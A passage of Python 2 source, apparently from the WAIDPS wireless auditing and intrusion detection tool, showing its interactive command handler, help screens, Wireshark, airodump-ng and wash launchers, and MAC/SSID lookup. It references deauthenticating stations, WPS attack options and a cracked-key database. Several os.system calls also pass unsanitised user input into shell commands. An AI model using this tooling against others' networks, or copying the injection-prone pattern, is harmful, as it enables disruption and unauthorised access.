    printl (spacing + fcolor.BGreen + "Conversion & Analysing Done","0","")

def AnalysePacketCapture():
    if __builtin__.LOAD_PKTCAPTURE=="Yes":
        if __builtin__.PCapProc!="":
            KillSubProc(str(__builtin__.PCapProc))
        Search="WAIDPS - Capturing Packets"
        KillProc(Search)
        DeleteExistingPacketFiles()
        if IsFileDirExist(__builtin__.PacketDumpFileBak)=="F":
            os.remove(__builtin__.PacketDumpFileBak)
        if IsFileDirExist(__builtin__.PacketDumpFile)=="F":
            os.rename(__builtin__.PacketDumpFile,__builtin__.PacketDumpFileBak)
        RunPacketCapture()
        ConvertPackets("1")
        __builtin__.SHOWRESULT=3
        spacing="" # tabspacefull
        printl (spacing + fcolor.SGreen + "Analysing Packets...TShark","0","")
        AnalyseTShark("")
        printl (spacing + fcolor.BGreen + "Conversion & Analysing Done","0","")

def DisplayResponse(DisplayStr,spacing):
    print spacing + fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(DisplayStr)
    return

def ConvertByte(ibytes):
    import math
    if ibytes!=0:
        lst=['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB']
        i = int(math.floor(math.log(ibytes, 1024)))
        if i >= len(lst):
            i = len(lst) - 1
        return ('%.2f' + " " + lst[i]) % (ibytes/math.pow(1024, i))
    else:
        return "0 Byte"

def GetFileDetail(FName):
    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(FName)
    __builtin__.FileModified=ConvertDateFormat(time.ctime(mtime),"%c")
    __builtin__.FileCreated=ConvertDateFormat(time.ctime(ctime),"%c")
    __builtin__.FileSize=ConvertByte(float(size))
    if str(size)!="":
        __builtin__.FileSizeB=int(size)
    else:
        __builtin__.FileSizeB=0

def FormatNumber(sStr):
    return '{0:04}'.format(int(sStr))

def GetAllFiles():
    x=0
    while x<len(__builtin__.searchdir):
        __builtin__.lookupdir=__builtin__.searchdir[x]
        __builtin__.ExtList= ['txt','log','db','pcap','cap','ini']
        FFilter="*"
        SearchFiles(__builtin__.lookupdir,__builtin__.ExtList,FFilter)
        if len(__builtin__.FoundFiles)>0:
            __builtin__.AutoComplete=__builtin__.AutoComplete + __builtin__.FoundFiles
        x += 1

def RefreshAutoComplete(additional):
    __builtin__.AutoComplete=[]
    __builtin__.CommandList=['end','analyzer','analyzer2','analyzer3','enc','probe','about','help','logs','ips','ids','show','open','display','backup','wireshark','live','-f','lookup','mac','name','iwlist','dump','dump1','dump2','wash','list','list1','list2','list3','list4','filter','threshold','contain','ignore','clear','load','save','merge','-r','-w','cap','pcap','txt','db','log','new','reload','mymac','info','information','data','rm','ls','mon','attack','atk','monitor','back','exit','start','vgood','good','average','poor','unknown','opn','wep','wpa','wpa2','history','--essid','--channel','--fixed','--5ghz','--delay','--lock-delay','--max-attempts','--fail-wait','--recurring-delay','--timeout','--m57-timeout','--no-associate','--no-nacks','--dh-small','--ignore-locks','--eap-terminate','--nack','--win7']
    GetAllFiles()
    MyInternal=[DBFile1,DBFile2,DBFile3,DBFile4,DBFile5,DBFile6,EncDBFile,FilenameHeader + "Attacks.log",FilenameHeader + "Cautious.log",FilenameHeader + "Suspicious.log",'mac-oui.db']
    MYMAC=[__builtin__.SELECTED_IFACE_MAC,__builtin__.SELECTED_MON_MAC,__builtin__.SELECTED_MANIFACE_MAC]
    __builtin__.AutoComplete.extend(__builtin__.CommandList)
    __builtin__.AutoComplete=__builtin__.AutoComplete+__builtin__.ListInfo_BSSID + __builtin__.ListInfo_STATION + __builtin__.ListInfo_ESSID + MYMAC + MyInternal + __builtin__.searchdir
    __builtin__.AutoComplete=__builtin__.AutoComplete+__builtin__.MonitoringMACList + __builtin__.MonitoringNameList + __builtin__.ANALYSIS_MAC + __builtin__.ANALYSIS_IGNORE + __builtin__.ANALYSIS_TYPE + __builtin__.List_AttackingMAC + __builtin__.List_MonitoringMAC #+ __builtin__.List_AllMAC
    if __builtin__.ExtReadOut!="":
        addlist=[]
        tmpstr=str(__builtin__.ExtReadOut).replace("\t"," ").replace("\n"," ")
        addlist=[]
        addlist=tmpstr.split(" ")
        __builtin__.AutoComplete=__builtin__.AutoComplete+addlist
    if additional!="":
        addlist=[]
        addlist=additional.split("\n")
        addlist3=additional.split("\t")
        __builtin__.AutoComplete=__builtin__.AutoComplete+addlist
    list(set(__builtin__.AutoComplete))
    __builtin__.AutoComplete.sort()
    x=len(__builtin__.AutoComplete)-1
    while x>0:
        if len(__builtin__.AutoComplete[x])<2:
            __builtin__.AutoComplete.pop(x)
        x=x-1
    __builtin__.AutoComplete.sort()
    RemoveUnwantedAutoComplete()
    readline.parse_and_bind("tab: Complete")
    readline.set_completer(Complete)

def Complete(text, state):
    for cmd in __builtin__.AutoComplete:
        if cmd.startswith(text):
            if not state:
                return cmd
            else:
                state -= 1

def RemoveUnwantedAutoComplete():
    x=1
    while x<readline.get_current_history_length()+1:
        if int(len(readline.get_history_item(x)))<2 or readline.get_history_item(x)==".." or readline.get_history_item(x)=="...":
            readline.remove_history_item(x-1)
        x +=1

def GetInput():
    RemoveUnwantedAutoComplete()
    printl (fcolor.CReset,"0","")
    usr_resp=raw_input("CMD > ")
    if usr_resp!="":
        return usr_resp
    else:
        GetInput()
        return

def ReadCommand():
    __builtin__.CURRENT_LOC="ANALYSIS"
    RefreshAutoComplete("")
    RunCmd=""
    printl (fcolor.CReset,"0","")
    usr_resp=raw_input("CMD > ")
    RemoveUnwantedAutoComplete()
    usr_resp_n=str(usr_resp).lstrip().rstrip()
    usr_resp=str(usr_resp).upper().lstrip().rstrip().replace("\n","").replace("\r","")
    usrcmd=usr_resp.split(" ")
    usrcmd_n=usr_resp_n.split(" ")
    RECON_CMD=0
    spacing = "" # tabspacefull
    if usr_resp=="END" or usr_resp=="EXIT" or usr_resp=="BACK":
        DisplayResponse(usr_resp,"")
        return
    if usr_resp=="." or usr_resp==".." or usr_resp=="...":
        if usr_resp=="...":
            x=1;RECON_CMD=1
            CmdHistory="";RemoveUnwantedAutoComplete()
            while x<readline.get_current_history_length() + 1:
                if readline.get_history_item(x)!="":
                    CmdHistory=CmdHistory+readline.get_history_item(x) + "\n"
                x +=1
            CmdHistory=CmdHistory[:-1]
            if CmdHistory=="":
                print spacing + fcolor.SRed + "No command history found."
            else:
                print fcolor.BBlue + "Command History [" + str(x-1) + "]"
                print fcolor.SGreen + str(CmdHistory)
        elif __builtin__.LASTCMD=="" or __builtin__.LASTCMDLOG=="":
            print spacing + fcolor.SRed + "No last command found."
        else:
            if usr_resp==".":
                print spacing + fcolor.SGreen + "Executing last command - " + fcolor.BYellow + str(__builtin__.LASTCMD)
                usr_resp=str(__builtin__.LASTCMD).upper()
                usr_resp_n=__builtin__.LASTCMD
                usrcmd=usr_resp.split(" ")
            if usr_resp=="..":
                print fcolor.BBlue + "Command Logs"
                print fcolor.SGreen + str(__builtin__.LASTCMDLOG)
    if usr_resp=="ENC":
        RECON_CMD=1
        if __builtin__.ENCRYPTED_PASS=="":
            os.system("stty -echo")
            password=raw_input(spacing + fcolor.BGreen + "Enter your password : ")
            print ""
            os.system("stty echo")
            __builtin__.ENCRYPTED_PASS=Hashing(password)
        secret=str(__builtin__.ENCRYPTED_PASS)
        cipher = AES.new(secret)
        with open(EncDBFile,"r") as secretfile:
            EncStr=secretfile.read()
        decoded = DecodeAES(cipher, EncStr)
        if decoded.split('\n', 1)[0]!=__builtin__.ENCRYPTED_PASS:
            print spacing + fcolor.BRed + "You have entered an invalid password.."
            __builtin__.ENCRYPTED_PASS=""
        else:
            decodeds = '\n'.join(decoded.split('\n')[1:]) 
            print fcolor.CReset + fcolor.SWhite + decodeds
    if usr_resp=="ABOUT":
        RECON_CMD=1
        AboutApplication()
    if usrcmd[0]=="PROBE":
        RECON_CMD=1
        if len(usrcmd)==1:
            print spacing + fcolor.BBlue + "[PROBE] Function"
            print spacing + fcolor.SWhite + "Probe function is use to probe for a specified or multiple SSID Names."
            print spacing + fcolor.BWhite + "Examples :"
            print spacing + fcolor.SWhite + "          PROBE <ESSID-1>\t\t " + fcolor.SGreen + " - Probe for <ESSID-1>"
            print spacing + fcolor.SWhite + "          PROBE <ESSID-1> <ESSID-2>\t\t " + fcolor.SGreen + " - Probe for <ESSID-1> & <ESSID-2>\n"
        else:
            x=1
            PROBE_FOR=""
            while x<len(usrcmd):
                PROBE_FOR=PROBE_FOR + fcolor.BYellow + usrcmd_n[x] + fcolor.SWhite + " / "
                x += 1
            PROBE_FOR=PROBE_FOR[:-3]
            print tabspacefull + fcolor.BBlue + "Probing For : " + str(PROBE_FOR)
            x=1
            while x<len(usrcmd):
                print tabspacefull + fcolor.BBlue + "Probing For : " + str(usrcmd_n[x])
                ProbeESSID(usrcmd_n[x])
                x += 1
    if usr_resp=="LOGS":
        RECON_CMD=1
        OptDisplayLogs()
    if usr_resp=="HELP" or usr_resp=="?":
        RECON_CMD=1
        print spacing +fcolor.BBlue + "Interactive Mode Help"
        print spacing +fcolor.BWhite + "INFO / INFORMATION".ljust(25) + fcolor.SGreen + " - Display information of file, interfaces & setting"
        print spacing +fcolor.BWhite + "LOAD FILTER".ljust(25) + fcolor.SGreen + " - Load existing filter configuration (Config is preloaded in startup)"
        print spacing +fcolor.BWhite + "LOAD <file>".ljust(25) + fcolor.SGreen + " - Load an existing pcap file for analysis."
        print spacing +fcolor.BWhite + "LOAD NEW".ljust(25) + fcolor.SGreen + " - Load the current active captured pcap file"
        print spacing +fcolor.BWhite + "RELOAD".ljust(25) + fcolor.SGreen + " - Reload the previous captured pcap file for analysis."
        print spacing +fcolor.BWhite + "SAVE CONFIG".ljust(25) + fcolor.SGreen + " - Save setting to configuration file"
        print spacing +fcolor.BWhite + "SAVE FILTER".ljust(25) + fcolor.SGreen + " - Save filtered configuration"
        print spacing +fcolor.BWhite + "SAVE DATA".ljust(25) + fcolor.SGreen + " - Save pcap, raw result & filtered result files"
        print spacing +fcolor.BWhite + "LOOKUP".ljust(25) + fcolor.SGreen + " - Lookup for MAC/Name in active list & database"
        print spacing +fcolor.BWhite + "LOOKUP MAC".ljust(25) + fcolor.SGreen + " - Lookup for MAC address specified"
        print spacing +fcolor.BWhite + "LOOKUP NAME".ljust(25) + fcolor.SGreen + " - Lookup for SSID/Probe Name specidied"
        print spacing +fcolor.BWhite + "SHOW DUMP".ljust(25) + fcolor.SGreen + " - Show TCPDump & TShark result files"
        print spacing +fcolor.BWhite + "SHOW DUMP1".ljust(25) + fcolor.SGreen + " - Show TCPDump result file"
        print spacing +fcolor.BWhite + "SHOW DUMP2".ljust(25) + fcolor.SGreen + " - Show TShark result file"
        print spacing +fcolor.BWhite + "SHOW LIST".ljust(25) + fcolor.SGreen + " - Helps on <SHOW LIST>"
        print spacing +fcolor.BWhite + "SHOW LIST1".ljust(25) + fcolor.SGreen + " - Show TShark analysed listing"
        print spacing +fcolor.BWhite + "SHOW LIST2".ljust(25) + fcolor.SGreen + " - Show TShark analysed listing with filter"
        print spacing +fcolor.BWhite + "SHOW LIST3".ljust(25) + fcolor.SGreen + " - Show TShark analysed listing of interest (Based on IDS Sensitivity)"
        print spacing +fcolor.BWhite + "SHOW LIST4".ljust(25) + fcolor.SGreen + " - Show TShark analysed listing of interest (Based on Standard Threshold " + str(__builtin__.THRESHOLD) + ")"
        print spacing +fcolor.BWhite + "FILTER IGNORE *".ljust(25) + fcolor.SGreen + " - Hide Probe/Beacon/Acknowledgement type on result file. Type [FILTER] for detail"
        print spacing +fcolor.BWhite + "FILTER IGNORE -*".ljust(25) + fcolor.SGreen + " - Remove Probe/Beacon/Acknowledgement type filter on result file"
        print spacing +fcolor.BWhite + "FILTER IGNORE <type>".ljust(25) + fcolor.SGreen + " - Hide the <type> on result file"
        print spacing +fcolor.BWhite + "FILTER CONTAIN <string>".ljust(25) + fcolor.SGreen + " - Set filter string for the result file"
        print spacing +fcolor.BWhite + "FILTER CONTAIN -".ljust(25) + fcolor.SGreen + " - Remove all search filter string"
        print spacing +fcolor.BWhite + "FILTER MAC <MAC.Addr>".ljust(25) + fcolor.SGreen + " - Set MAC to search the result file"
        print spacing +fcolor.BWhite + "FILTER MAC -".ljust(25) + fcolor.SGreen + " - Remove all MAC filtering detail"
        print spacing +fcolor.BWhite + "SHOW FILTER".ljust(25) + fcolor.SGreen + " - Show the filtered items"
        print spacing +fcolor.BWhite + "MYMAC".ljust(25) + fcolor.SGreen + " - Show the MAC addresses of your interfaces use"
        print spacing +fcolor.BWhite + "WIRESHARK".ljust(25) + fcolor.SGreen + " - Open captured pcap file with wireshark"
        print spacing +fcolor.BWhite + "WIRESHARK LIVE".ljust(25) + fcolor.SGreen + " - Live sniffing with Wireshark using " + str(__builtin__.SELECTED_MON)
        print spacing +fcolor.BWhite + "WIRESHARK <file>".ljust(25) + fcolor.SGreen + " - Open the specified <file> with Wireshark"
        print spacing +fcolor.BWhite + "OPEN <file>".ljust(25) + fcolor.SGreen + " - Open the specified text file"
        print spacing +fcolor.BWhite + "LIST PCAP/TXT/LOG/DB".ljust(25) + fcolor.SGreen + " - List out the PCAP,Txt,DB or Log files in the designated directories. Type [LS] for detail."
        print spacing +fcolor.BWhite + "RM <files>".ljust(25) + fcolor.SGreen + " - Remove specified files, type [RM] for detail."
        print spacing +fcolor.BWhite + "MERGE -r <1> <2> -w <out>".ljust(25) + fcolor.SGreen + " - Merge two or more pcap files. Type [MERGE] for detail"
        print spacing +fcolor.BWhite + "BACKUP <file>".ljust(25) + fcolor.SGreen + " - Backup is use to backup the log or db files. Type [BACKUP] for detail."
        print spacing +fcolor.BWhite + "SET IDS".ljust(25) + fcolor.SGreen + " - Set sensitivity of current IDS detection threshold. Type [SET] for detail."
        print spacing +fcolor.BWhite + "CLEAR".ljust(25) + fcolor.SGreen + " - Clear screen"
        print spacing +fcolor.BWhite + "LOGS".ljust(25) + fcolor.SGreen + " - Display History Logs / Cracked DB"
    if usrcmd[0]=="IPS":
        if len(usrcmd)==1:
            RECON_CMD=1
            ShowIntrusionPrevention("1")
            print spacing + fcolor.SGreen + "\nNote - You can also use 'IPS <MAC Address>' to directly launch the station deauth to the specified MAC"
        if len(usrcmd)==2:
            RECON_CMD=1
            ShowIntrusionPrevention(usrcmd[1])
    if usr_resp=="MENU":
        RECON_CMD=1
        GetOptionCommands("")
       
    if usrcmd[0]=="IDS":
        print spacing + fcolor.BBlue + "Running IDS..."
        RECON_CMD=1
        tmp=__builtin__.SAVE_ATTACKPKT
        tmp2=__builtin__.SHOW_SUSPICIOUS_LISTING
        __builtin__.SAVE_ATTACKPKT="No"
        __builtin__.SAVE_SUSPICIOUS_LISTING="No"
        ShowAnalysedListing("SHOW LIST3_QUIET")
        ShowIDSDetection("")
        __builtin__.SAVE_ATTACKPKT=tmp
        __builtin__.SAVE_SUSPICIOUS_LISTING=tmp2
        if len(__builtin__.OfInterest_List)==0:
            print spacing + fcolor.SRed + "No suspicious activity found.."
    if usrcmd[0]=="DISPLAY":
        if len(usrcmd)==1:
            RECON_CMD=1
            OptOutputDisplay("")
        else:
            if usrcmd[1].isdigit()==True and int(usrcmd[1])<10:
                RECON_CMD=1
                OptOutputDisplay(usrcmd[1])
    if usrcmd[0]=="OPEN":
        RECON_CMD=1
        if len(usrcmd)<2:
            print spacing + fcolor.BBlue + "[OPEN] Function"
            print spacing + fcolor.SWhite + "Open function allow user to open a specified file with default text viewer and wireshark."
            print spacing + fcolor.BWhite + "Examples :"
            print spacing + fcolor.SWhite + "          OPEN /.SYWorks/Saved/AnalysedPacket.txt " + fcolor.SGreen + " - Open the specified file"
            print spacing + fcolor.SWhite + "          OPEN Attack_Captured.cap\t\t " + fcolor.SGreen + " - Open the pcap file with Wireshark"
        else:
            FName=str(usr_resp_n)[5:]
            FileExist=0
            rfile=SearchFileOnDir(FName)
            if rfile!="":
                FName=rfile
                FileExist=1
            if IsFileDirExist(FName)=="F" and FileExist!=1:
                FileExist=1
            if FileExist==1:
                if str(__builtin__.FileExt).upper()==".PCAP" or str(__builtin__.FileExt).upper()==".CAP":
                    print fcolor.SGreen + spacing + "[" + str(__builtin__.FileExt).upper().replace(".","") + "] extension detected, Redirecting as " + fcolor.BYellow + "WIRESHARK " + str(FName)
                    usr_resp_n="wireshark " + FName
                    usr_resp=usr_resp_n.upper()
                else:
                    print fcolor.BBlue + spacing  + "Load Text File - " + fcolor.BYellow + str(FName)
                    Explore(FName,"")
            else:
                DisplayFileNotFound(FName)
                Rund=""
    if usrcmd[0]=="BACKUP":
        RECON_CMD=1
        if len(usrcmd)<2:
            print spacing + fcolor.BBlue + "[BACKUP] Function"
            print spacing + fcolor.SWhite + "Backup function is use to backup the selected file and rewite the existing file as new."
            print spacing + fcolor.BWhite + "Examples :"
            print spacing + fcolor.SWhite + "          BACKUP /.SYWorks/Database/Cautious.log" + fcolor.SGreen + " - Backup the specified file"
        else:
            FName=str(usr_resp_n)[7:]
            FileExist=0
            rfile=SearchFileOnDir(FName)
            if rfile!="":
                FName=rfile
                FileExist=1
            if FileExist==1:
                statinfo = os.stat(FName)
                if statinfo.st_size==0:
                    printc ("i",fcolor.BWhite + "The selected file [ " + fcolor.BRed + FName + fcolor.BWhite + " ] is empty, no backup needed.","")
                else:
                    ExtLen=len(__builtin__.FileExt)
                    FNameOnly=str(__builtin__.FileName)[:-ExtLen]
                    NewFileName=FNameOnly+"_BK_" + str(datetime.date.today()).replace("-","").replace("/","") + __builtin__.FileExt
                    NewFileNamePath=str(__builtin__.FilePath) + NewFileName
                    if IsFileDirExist(NewFileNamePath)=="F":
                        cp=1
                        while cp<9999:
                            NewFileName=FNameOnly+"_BK_" + str(datetime.date.today()).replace("-","").replace("/","") + "_" + str(cp) + __builtin__.FileExt
                            NewFileNamePath=str(__builtin__.FilePath) + NewFileName
                            if IsFileDirExist(NewFileNamePath)!="F":
                                cp=9999
                            cp += 1
                    printc (" ",fcolor.BYellow + "The selected file [ " + fcolor.BRed + FName + fcolor.BYellow + " ] will be saved as [ " + fcolor.BRed + NewFileName + fcolor.BYellow + " ]","")
                    printc (" ",fcolor.BWhite + "The selected file [ " + fcolor.BRed + FName + fcolor.BWhite + " ] will be " + fcolor.BRed + "EMPTIED" + fcolor.BWhite + " after backup.","")
                    usr_resp=AskQuestion("Continue ?","Y/n","U","Y","")
                    if usr_resp=="Y":
                        os.rename(FName,NewFileNamePath)
                        open(FName,"w").write("")
                        printc ("i","File Backuped - " + fcolor.BRed + str(NewFileNamePath),"")
                    else:
                        printc ("i","Backup Aborted.","")
            else:
                DisplayFileNotFound(FName)
                Rund=""
    if usrcmd[0]=="WIRESHARK":
        RECON_CMD=1
        if len(usrcmd)>1 and usrcmd[1]=="?":
            print spacing + fcolor.BBlue + "[WIRESHARK] Function"
            print spacing + fcolor.SWhite + "[WIRESHARK] function contain 3 options as listed below."
            print spacing + fcolor.BWhite + "Examples :"
            print spacing + fcolor.SWhite + "           WIRESHARK ?\t\t" + fcolor.SGreen + " - This help screen"
            print spacing + fcolor.SWhite + "           WIRESHARK\t\t" + fcolor.SGreen + " - Using Wireshark to open current loaded captured packets"
            print spacing + fcolor.SWhite + "           WIRESHARK <file>\t" + fcolor.SGreen + " - Using Wireshark to open the specified pcap file"
            print spacing + fcolor.SWhite + "           WIRESHARK -F\t\t" + fcolor.SGreen + " - Using Wireshark to open current load captured packets with MAC filters"
            print spacing + fcolor.SWhite + "           WIRESHARK -F <file>\t" + fcolor.SGreen + " - Using Wireshark to open the specified pcap file with MAC filters"
            print spacing + fcolor.SWhite + "           WIRESHARK LIVE\t" + fcolor.SGreen + " - Using Wireshark to sniff the current wireless traffic"
            RECON_CMD=1
        else:
            if IsProgramExists("wireshark")==True:
                Rund="wireshark -r " + str(__builtin__.CurrentPacket) + " > /dev/null 2>&1 &"
                if len(usrcmd)==1:
                    print fcolor.BBlue + spacing + "Open Current Captured Packets With Wireshark - " + fcolor.BYellow + str(__builtin__.CurrentPacket)
                    Rund="wireshark -r " + str(__builtin__.CurrentPacket) + " > /dev/null 2>&1 &"
                else:
                    if usrcmd[1]=="LIVE":
                        print fcolor.BBlue + spacing + "Live Capturing With Wireshark"
                        Rund="wireshark -i " + str(__builtin__.SELECTED_MON) + " -k -w " + str(__builtin__.WiresharkCap) + " > /dev/null 2>&1 &"
                    elif usrcmd[1]=="-F":
                        if len(__builtin__.ANALYSIS_MAC)!=0:
                            PCapFileToUse=__builtin__.CurrentPacket
                            if len(usrcmd)>2:
                                FName=str(usr_resp_n)[13:]
                                FileExist=0
                                rfile=SearchFileOnDir(FName)
                                if rfile!="":
                                    PCapFileToUse=rfile
                                else:
                                    DisplayFileNotFound(PCapFileToUse)
                                    Rund=""
                                    PCapFileToUse=""
                            if PCapFileToUse!="":
                                xm=0
                                fmac="";dfmac=""
                                while xm<len(__builtin__.ANALYSIS_MAC):
                                    fmac=fmac + "wlan.addr==" + str(__builtin__.ANALYSIS_MAC[xm]) + " or "
                                    dfmac=dfmac + str(__builtin__.ANALYSIS_MAC[xm]) + " / "
                                    xm += 1
                                fmac=fmac[:-4]
                                dfmac=dfmac[:-3]
                                print fcolor.BBlue + spacing + "Opening PCap Wireshark " + fcolor.BYellow + str(PCapFileToUse) + fcolor.BBlue + " - MAC filtered : " + fcolor.BRed + str(dfmac)
                                Rund="wireshark -r " + str(PCapFileToUse) + " -R '" +  str(fmac) + "' " + " > /dev/null 2>&1 &"
                        else:
                            print fcolor.BRed + spacing + "There is current no filter MAC specified. Type [FILTER MAC] for detail."
                            Rund=""
                    else:
                        FName=str(usr_resp_n)[10:]
                        FileExist=0
                        rfile=SearchFileOnDir(FName)
                        if rfile!="":
                            FName=rfile
                            FileExist=1
                        if FileExist==1:
                            print fcolor.BBlue + spacing + "Reading Packet File With Wireshark - " + fcolor.BYellow + str(FName)
                            Rund="wireshark -r " + str(FName) + " > /dev/null 2>&1 &"
                        else:
                            DisplayFileNotFound(FName)
                            Rund=""
                if Rund!="":    
                    result=os.system(Rund)
                    if result==0:
                        print fcolor.SGreen + spacing + "Wireshark loaded."
                    else:
                        print fcolor.SRed + spacing + "Wireshark failed to load."
                else:
                    print fcolor.SRed + spacing + "Operation aborted !"
            else:
                print fcolor.BRed + spacing + "Wireshark is not found. Operation aborted."
            print "\n" + spacing + fcolor.SGreen + "Type [Wireshark ?] for helps on Wireshark function."
    if usrcmd[0]=="LOOKUP":
        RECON_CMD=1
        MSG1=spacing + fcolor.BWhite + "Example :\n"
        MSG2=spacing + fcolor.SWhite + "          LOOKUP ?\t\t\t" + fcolor.SGreen + " - This help screen\n"
        MSG3=spacing + fcolor.SWhite + "          LOOKUP\t\t\t" + fcolor.SGreen + " - Launch the interactive lookup function (MAC/Name)\n"
        MSG4=spacing + fcolor.SWhite + "          LOOKUP MAC 00:01:02:03:04:05\t" + fcolor.SGreen + " - Search the actve SSID/Station and database for the MAC address\n"
        MSG5=spacing + fcolor.SWhite + "          LOOKUP MAC *:01:02:*\t\t" + fcolor.SGreen + " - Searching of MAC containing ':01:02:'\n"
        MSG6=spacing + fcolor.SWhite + "          LOOKUP NAME SYWorks\t\t" + fcolor.SGreen + " - Search the actve SSID/Station and database for the Name\n"
        MSG7=spacing + fcolor.SWhite + "          LOOKUP NAME SY*\t\t" + fcolor.SGreen + " - Searching of names starting with 'SY'\n"
        MSG8=spacing + fcolor.SWhite + "          LOOKUP ?\t\t\t" + fcolor.SGreen + " - For help on Lookup function\n"
        if len(usrcmd)<2:
                print spacing + fcolor.BBlue + "[LOOKUP] Function"
                print spacing + fcolor.SGreen + "Type [Lookup ?] for other options on Lookup function.\n"
                OptInfoDisplay("","")
        else:
            if usrcmd[1]=="?":
                print spacing + fcolor.BBlue + "[LOOKUP] Function"
                print spacing + fcolor.SWhite + "Lookup allow user to search the active SSID/Station listing or Database for the MAC address or SSID/Probe Name specified"
                print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 + MSG6 + MSG7
            if usrcmd[1]=="MAC":
                if len(usrcmd)<3:
                    print spacing + fcolor.BBlue + "[LOOKUP MAC] Function"
                    print spacing + fcolor.SWhite + "[Lookup MAC] is use to search for the MAC address detail found on active list and database."
                    print MSG1 + MSG4 + MSG5 + MSG8
                else:
                    sMAC=usrcmd[2]
                    tmac=str(sMAC).replace("*","").replace("-","").replace(":","")
                    if len(tmac)<13 and IsHex(tmac)==True:
                        print spacing + fcolor.BGreen + "Searching for MAC Address " + fcolor.BYellow + sMAC + fcolor.BGreen + "..."
                        LookupMAC(sMAC)
                        ProcessOptInfoDisplay()
                    else:
                        print spacing + fcolor.BRed + "Invalid MAC Address specified !"
            if usrcmd[1]=="NAME":
                if len(usrcmd)<3:
                    print spacing + fcolor.BBlue + "[LOOKUP NAME] Function"
                    print spacing + fcolor.SWhite + "[Lookup NAME] is use to search for the SSID Name/Probe detail found on active SSID/Station list and database"
                    print MSG1 + MSG6 + MSG7 + MSG8
                else:
                    print spacing + fcolor.BGreen + "Searching for SSID/Probe Name " + fcolor.BYellow + usrcmd[2] + fcolor.BGreen + "..."
                    LookupName(usrcmd[2])
                    ProcessOptInfoDisplay()
    
    if usrcmd[0]=="START":
        MSG1 =spacing + fcolor.BWhite + "Examples :\n"
        MSG2 =spacing + fcolor.SWhite + "          START ?\t\t\t" + fcolor.SGreen + " - This help screen\n"
        MSG3 =spacing + fcolor.SWhite + "          START IWLIST\t\t\t" + fcolor.SGreen + " - Run 'iwlist' to enrich Access Point detail\n"
        MSG4 =spacing + fcolor.SWhite + "          START DUMP\t\t\t" + fcolor.SGreen + " - Run 'Airodump-NG' to gather Access Point/Station Detail\n"
        MSG5 =spacing + fcolor.SWhite + "          START WASH\t\t\t" + fcolor.SGreen + " - Run 'Wash' to gather WPS enabled Access Points\n"
        if len(usrcmd)==1 or usrcmd[1]=="?":
            RECON_CMD=1
            print spacing + fcolor.BBlue + "[START] Function"
            print spacing + fcolor.SWhite + "[Start] with the combination of other command will launch the specified builtin application."
            print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 
        if len(usrcmd)==2:
            if usrcmd[1]=="IWLIST":
                RECON_CMD=1
                print spacing + fcolor.BBlue + "Started 'iwlist'."
                RunIWList()
            if usrcmd[1]=="DUMP":
                RECON_CMD=1
                print spacing + fcolor.BBlue + "Started 'airodump-ng'."
                RunAirodump()
            if usrcmd[1]=="WASH":
                RECON_CMD=1
                print spacing + fcolor.BBlue + "Started 'wash'."
                RunWash()
    if usrcmd[0]=="SHOW":
        MSG1 =spacing + fcolor.BWhite + "Examples :\n"
        MSG2 =spacing + fcolor.SWhite + "          SHOW ?\t\t\t" + fcolor.SGreen + " - This help screen\n"
        MSG3 =spacing + fcolor.SWhite + "          SHOW LIST\t\t\t" + fcolor.SGreen + " - Help screen for SHOW LIST\n"
        MSG4 =spacing + fcolor.SWhite + "          SHOW LIST1\t\t\t" + fcolor.SGreen + " - Catagorised Listing of analysed packets\n"
        MSG5 =spacing + fcolor.SWhite + "          SHOW LIST2\t\t\t" + fcolor.SGreen + " - Filtered Catagorised Listing of analysed packets <'Filter' function applies>.\n"
        MSG6 =spacing + fcolor.SWhite + "          SHOW LIST3\t\t\t" + fcolor.SGreen + " - Display only those record listing of hits the IDS threshold.\n"
        MSG7 =spacing + fcolor.SWhite + "          SHOW LIST4\t\t\t" + fcolor.SGreen + " - Display only those record listing of hits the standard threshold of " + str(__builtin__.THRESHOLD) + ".\n"
        MSG8 =spacing + fcolor.SWhite + "          SHOW DUMP ?\t\t\t" + fcolor.SGreen + " - Help screen for SHOW DUMP\n"
        MSG9 =spacing + fcolor.SWhite + "          SHOW DUMP\t\t\t" + fcolor.SGreen + " - Display the converted frame data with TCPDump & TShark. <'Filter' function applies>\n"
        MSG10 =spacing + fcolor.SWhite + "          SHOW DUMP1\t\t\t" + fcolor.SGreen + " - Display the converted frame data with TCPDump. <'Filter' function applies>\n"
        MSG11=spacing + fcolor.SWhite + "          SHOW DUMP2\t\t\t" + fcolor.SGreen + " - Display the converted frame data with TShark. <'Filter' function applies>\n"
        MSG12=spacing + fcolor.SWhite + "          SHOW FILTER ?\t\t\t" + fcolor.SGreen + " - Help screen for SHOW FILTER <Type 'Filter' for filter setting>'\n"
        MSG13=spacing + fcolor.SWhite + "          SHOW FILTER\t\t\t" + fcolor.SGreen + " - Display the list of filters set\n"
        MSG14=spacing + fcolor.SWhite + "          SHOW THRESHOLD\t\t" + fcolor.SGreen + " - Display the setting for standard detection threshold.\n"
        MSG15=spacing + fcolor.SWhite + "          SHOW IDS\t\t\t" + fcolor.SGreen + " - Display IDS sensitvity setting. See also [IDS] and [SET IDS]\n"
        MSG16=spacing + fcolor.SWhite + "          SHOW DISPLAY\t\t\t" + fcolor.SGreen + " - Display Active SSID/Station detail.\n"
        MSG0 ="\n" + spacing + fcolor.BYellow + "<'Filter' function applies>\n" + spacing + fcolor.SWhite + "If filter items are specified in 'FILTER MAC', 'FILTER CONTAIN' & 'FILTER IGNORE', output of 'SHOW LIST2', 'SHOW DUMP|1|2' will base on these filter criteria. Type [Filter ?] for other related filter options."
        MSG01=spacing + fcolor.SGreen + "Type [Show Dump ?] for other options on Show Dump function.\n"
        MSG02=spacing + fcolor.SGreen + "Type [Filter ?] for usage of Filter and other filter related functions."
        if len(usrcmd)==1 or usrcmd[1]=="?":
            RECON_CMD=1
            print spacing + fcolor.BBlue + "[SHOW] Function"
            print spacing + fcolor.SWhite + "[Show] is use with combination of other command to display information specified."
            print MSG1 + MSG2 + MSG3 + MSG4 + MSG5 + MSG6 + MSG7 + MSG8 + MSG9 + MSG10 + MSG11 + MSG12 + MSG13 + MSG14 + MSG15 + MSG16+ MSG0
        if len(usrcmd)==2:
            if usrcmd[1]=="THRESHOLD":
                RECON_CMD=1
